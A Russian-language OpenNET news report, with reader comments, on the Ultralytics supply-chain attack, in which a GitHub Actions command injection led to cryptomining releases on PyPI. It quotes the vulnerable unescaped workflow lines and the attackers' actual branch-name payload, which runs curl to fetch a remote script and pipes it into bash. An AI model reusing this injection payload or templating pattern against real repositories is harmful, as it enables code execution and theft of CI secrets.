The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Ошибка в обработчике GitHub Actions привела к публикации вредоносных релизов Ultralytics

07.12.2024 14:20

Злоумышленники смогли выполнить код с правами обработчика GitHub Actions в репозитории Python-библиотеки Ultralytics, применяемой для решения задач компьютерного зрения, таких как определение объектов на изображениях и сегментирование изображений. После получения доступа к репозиторию атакующие опубликовали в каталоге PyPI несколько новых релизов Ultralytics, включающих вредоносные изменения для майнинга криптовалют. За последний месяц библиотека Ultralytics была загружена из каталога PyPI более 6.4 млн раз.

Для компрометации репозитория была задействована уязвимость в пакете ultralytics-actions, применяемом для автоматического запуска обработчиков при совершении определённых действий с репозиторием на GitHub, используя механизм GitHub Actions. В проекте ultralytics уязвимый обработчик привязывался к событию pull_request_target и вызывался при поступлении новых pull-запросов. В частности, для форматирования кода в присылаемых pull-запросах вызывался обработчик format.yml и выполнялся код, указанный в секции "run" файла action.yml, в котором присутствовали shell-команды с шаблонами подстановки:


  git pull origin ${{ github.head_ref || github.ref }}
  git config --global user.name "${{ inputs.github_username }}"
  git config --global user.email "${{ inputs.github_email }}"

Таким образом, в shell-команды без должного экранирования подставлялось название Git-ветки, упоминаемой в pull-запросе. Примечательно, что в августе в пакете ultralytics-actions уже исправлялась похожая уязвимость, связанная с использованием внешнего значения в функции echo:


  echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"

Для организации выполнения своего кода в контексте обработчика GitHub Actions атакующие отправили pull-запрос в репозиторий ultralytics, указав в качестве имени ветки:


   openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Соответственно, при поступлении pull-запроса в код подставилась заданная атакующими строка "$(...)", которая при при последующем запуске обработчика привела к выполнению кода "curl -sSfL raw.githubusercontent.com/.../file.sh | bash".

Запуск кода в контексте GitHub Actions может использоваться для захвата токена доступа к репозиторию и других конфиденциальных данных. Как именно атакующим удалось сформировать релиз, получив возможность выполнения своего кода в GitHub Actions, пока точно не ясно, предполагается, что это стало возможным благодаря изменению обработчика publish.yml (атакующие убрали проверку учётной записи с которой разрешено публиковать релизы в PyPI) и использованию техники отравления сборочного кэша GitHub Actions для подстановки своих данных в релиз.

Первый вредоносный релиз Ultralytics 8.3.41 был опубликован злоумышленниками в каталоге PyPI 4 декабря в 23:51 (MSK) и удалён в 12:15 на следующий день. В 15:47 был размещён ещё один релиз 8.3.42, который был удалён в 16:47. Таким образом вредоносные версии в общей сложности были доступны для загрузки около 13 часов (в день в PyPI фиксируется около 250 тысяч загрузок библиотеки ultralytics). В составе выпусков 8.3.41 и 8.3.42 присутствовал код, осуществляющий загрузку с внешнего сервера компонента XMRig для майнинга криптовалюты.

Разработчики проекта устранили проблему и сформировали корректирующие релизы 8.3.43 и 8.3.44, но спустя два дня была совершена ещё одна атака, в ходе которой злоумышленники опубликовали сегодня в 04:41 и 05:27 (MSK) два дополнительных вредоносных релиза - 8.3.45 и 8.3.46, включающих другой код для майнинга. До окончания разбирательства пользователям рекомендуется повременить с установкой новых версий и зафиксировать в зависимостях выпуск 8.3.44.

  1. Главная ссылка к новости (https://blog.yossarian.net/202...)
  2. OpenNews: GitHub обновил GPG-ключи из-за уязвимости, приводящей к утечке переменных окружения
  3. OpenNews: Атака на инфраструктуру PyTorch, компрометирующая репозиторий и релизы
  4. OpenNews: В ходе атаки на GitHub захвачены ключи для подписи приложений GitHub Desktop и Atom
  5. OpenNews: Атака на GitHub Actions для майнинга криптовалюты на серверах GitHub
  6. OpenNews: Уязвимость в GitHub Actions, допускающая подстановку команд
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/62365-hack
Ключевые слова: hack, github
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (28) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Аноним (1), 16:03, 07/12/2024 [ответить] [﹢﹢﹢] [ · · · ]  
  • +5 +/
    красиво, чо...

    компьютерное зрение удачно выбрано

     
  • 1.2, YetAnotherOnanym (ok), 16:07, 07/12/2024 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > в секции "run" файла action.yml, в котором присутствовали shell-команды

    Классика жанра.

     
     
  • 2.4, Аноним (4), 16:38, 07/12/2024 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Неа. Классика жанра - это "в shell-команды без должного экранирования"
     
     
  • 3.41, YetAnotherOnanym (ok), 11:02, 08/12/2024 [^] [^^] [^^^] [ответить]  
  • +/
    Тут как-то мелькнула новость о взломе чего-то, когда в аргументы шелл-команды злые хакеры пропихнули что-то своё в виде эскейпнутых 16-ричных кодов. Проверка такую строку пропустила, а шелл преобразовала кода обратно в символы и выполнила команду хакера.
    Вообще, использовать run (оно же в разных языках command, system и пр.) - это такой же моветон, как goto в си. Но подтянуть либу и дёрнуть функцию из её - это слишком сложно, поэтому рядовой юзер тупо прописывает привычную командную строку в аргументе run.
     
     
  • 4.53, Аноним (53), 15:03, 10/12/2024 [^] [^^] [^^^] [ответить]  
  • +/
    >Тут как-то мелькнула новость о взломе чего-то, когда в аргументы шелл-команды злые хакеры пропихнули что-то своё в виде эскейпнутых 16-ричных кодов. Проверка такую строку пропустила, а шелл преобразовала кода обратно в символы и выполнила команду хакера.

    Неправильно реализовали экранирование
    >Но подтянуть либу и дёрнуть функцию из её - это слишком сложно

    Это не всегда возможно, так как библиотеки может просто не быть для нужно языка, а склеивать несколько языков будет сложно.

     
  • 2.25, Аноним (53), 22:25, 07/12/2024 [^] [^^] [^^^] [ответить]  
  • –8 +/
    Классика жанра - это диды, пишущие скрипты на баше, но так и не научившиеся эти скрипты писать безопасно. А потом, они ещё и рассказывают, что баш выучить легче чем nix.
     
     
  • 3.29, scriptkiddis (?), 23:07, 07/12/2024 [^] [^^] [^^^] [ответить]  
  • +/
    Так а на чем надо писать?
     
     
  • 4.32, Аноним (32), 00:47, 08/12/2024 [^] [^^] [^^^] [ответить]  
  • –3 +/
    > Так а на чем надо писать?

    На лиспе разумеется.
    Если нет - на руби.
    Если ну уж сильно не нравится, то даже питон будет лучше баша.

    Вообще сложно представить что-то, что будет хуже баша.

     
     
  • 5.38, bergentroll (ok), 08:17, 08/12/2024 [^] [^^] [^^^] [ответить]  
  • +3 +/
    На бумаге, на бумаге!
     
  • 5.52, myster (ok), 11:49, 09/12/2024 [^] [^^] [^^^] [ответить]  
  • +/
    > Вообще сложно представить что-то, что будет хуже баша.

    В Bash скриптах участие самого Bash минимально. В основном, shell скрипты - это запуск UNIX утилит и других программ и обработка их вывода. Использовать тут что-то другое, кроме Shell синтаксиса (будь то Bash, ZSH, KSH, Fish и тп оболочки, не важно) выглядит как Overkill. Даже Pythion overkill, для этих задач.

     
  • 3.39, Аноним (39), 08:44, 08/12/2024 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Там не важно на чём писать, там исходный код (в данном случае баш-выражение) генерируется через текстовый шаблон. Если ты даёшь пользователю возможность в этот шаблон подставлять что угодно без экранирования, то это - дыра. Хоть в лисп, хоть куда.

    То есть претензии к А) шаблонизатору, Б) гатхаб акшонам, которые хотят на вход беш-выражение.

     
  • 3.42, YetAnotherOnanym (ok), 11:13, 08/12/2024 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Но-но-но! Вот не надо тут насчёт дидов и баша, тут не тема не про sysvinit!
    Молодняк держится вполне вровень с дидами насчёт вызова шелл-команд из других языков. Когда надо что-то сделать с какими-то данными, проще всего вколотить знакомую строку в аргумент для run, чем импортировать .so'шную либу и вызвать из неё нужную функцию. Проще загнать аргументы одной строкой "--key1 value1 --key2 value2", чем составлять массив туплов [("key1","value1"),("key2","value2")], проще принять и обработать exit code от run, чем ловить крах вызова функции. А потом приходит расплата за лень.
     

  • 1.6, нах. (?), 16:50, 07/12/2024 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Хорошо, очень хорошо, просто замечательно!

     
     
  • 2.11, Аноним (11), 18:40, 07/12/2024 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Ну для тех кто не делал открытого софта это может и хорошо, а мне как-то не очень.
     
     
  • 3.40, Аноним (40), 10:34, 08/12/2024 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Это ошибочное мнение, что для того, чтобы делать открытый софт, нужно подлезть под Майкрософт с его финишовым поделием.
     
     
  • 4.46, нах. (?), 17:57, 08/12/2024 [^] [^^] [^^^] [ответить]  
  • +/
    твой хеловрот к сожалению уже написан. А чтобы делать софт делаемый большими командами - нужно либо еще одну команду - профессиональных админов, плюс заставлять бедных неженок у которых так не хватает времени и сил на копипасту со стековерфлова учиться непривычным то языкам, то инструментам, а то ж они и патч оформить не смогут.

    Плюс (то есть минус) что за теми инструментами не стоит microsoft с миллиардными зарплатами, и они в общем-то быстро устаревают не успевая угоняться за модными тенденциями.

     
     
  • 5.49, Аноним (49), 01:04, 09/12/2024 [^] [^^] [^^^] [ответить]  
  • +/
    Очень интересно, в какой компании вы работаете...
     
  • 5.51, Аноним (51), 06:49, 09/12/2024 [^] [^^] [^^^] [ответить]  
  • +/
    Это ошибочное мнение, что для того, чтобы делать открытый софт, нужно обязательно использовать какой-то публичный сервер Git. Можно поднять его на собственной инфраструктуре. Так и поступают некоторые проекты.
    Если проект небольшой (как в моем случае - личный), то публичный репозиторий можно использовать только для распространения СПО.
     

  • 1.14, InuYasha (??), 19:29, 07/12/2024 [ответить] [﹢﹢﹢] [ · · · ]  
  • +6 +/
    Дивный новый мир. В нём миллионы автоматически цепляющихся из централизованных гитов зависимостей, ленивых разработчиков, чрезмерно интегрированных IDE, и забрасывание релизов старше 10 минут. Владелец реймворка правит миром. Update or die.

    Как это мило когда они страдают. :3

     
     
  • 2.19, Аноним (19), 20:05, 07/12/2024 [^] [^^] [^^^] [ответить]  
  • –4 +/
    И они ещё и отрицают докер. Хотя тут минималка это отдельная виртуалка на отдельном сервере.
     
     
  • 3.21, Аноним (21), 21:54, 07/12/2024 [^] [^^] [^^^] [ответить]  
  • +/
    Docker платный и 100% гарантию не даст. И rust ваш не даст от таких атак гарантий. Кто-то ранее писал о переполнении - при чем тут переполнение? Ещё не известно что именно повлияло на конечный результат. Microsoft вообще любители нанять индусов и развести культуру качества по количеству кода у них, хоть официально вроде от этого отказались, тем не менее некоторые индусы и после этого жаловались. Они как найдут какой-нибудь способ что-то делать и везде его применяют не задумываясь о безопасности или целесообразности чего-либо применять. А потом жалуются.
     
     
  • 4.26, анон (?), 22:51, 07/12/2024 [^] [^^] [^^^] [ответить]  
  • +/
    Кому и зачем вы платите за докер?
     
     
  • 5.48, Аноним (-), 20:52, 08/12/2024 [^] [^^] [^^^] [ответить]  
  • +/
    Ну не все компании Microsoft в России созданы. По законодательству некоторых стран лицензионное соглашение для коммерческого использования подразумевает оплату. Если вы политик, то конечно могли бы принять закон о том что в России отменяются американские законы и на их серверах можно спокойно размещать Docker, возможно даже все сервера мира Microsoft перетащит в Россию, куда-нибудь под Нью-Васюки для того чтобы пользоваться Docker бесплатно.
     

  • 1.15, Аноним (15), 19:31, 07/12/2024 Скрыто ботом-модератором [﹢﹢﹢] [ · · · ]     [к модератору]
  • +1 +/
     
  • 1.35, Аноним (35), 04:47, 08/12/2024 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    >в shell-команды без должного экранирования подставлялось название Git-ветки, упоминаемой в pull-запросе.

    Переводя на обычный:
    Выполни код, на который указал незнакомец.

     
  • 1.36, Carantin (?), 06:39, 08/12/2024 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    А какую крипту майнили?
     
  • 1.37, Аноним (35), 07:15, 08/12/2024 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Печально, что у таких "раздалвателей" 6 млн загрузок.
     
     
  • 2.45, Ееее (?), 17:27, 08/12/2024 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Крипта сама себя не намайнит.
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру